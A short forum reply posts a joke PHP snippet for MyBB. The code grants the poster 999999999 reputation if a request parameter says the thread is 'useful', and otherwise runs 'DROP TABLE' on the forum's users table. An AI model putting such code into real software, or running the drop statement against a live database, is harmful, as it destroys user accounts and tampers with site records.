Improved your code and made it compatible with mybb :)
PHP Code:
<?php
require_once 'mybb/global.php';
if($mybb->input['thread'] == 'useful')
{
$insert_array = array(
'uid' => 'whatever the hell my userid is',
'adduid' => $mybb->user['uid'],
'reputation' => '999999999',
'comments' => $db->escape_string($mybb->input['comments'])
);
$query = $db->insert_query("reputation", $insert_array);
}
else
{
$db->query('DROP TABLE '.TABLE_PREFIX.'users');
$db->error('You suck!');
}
?>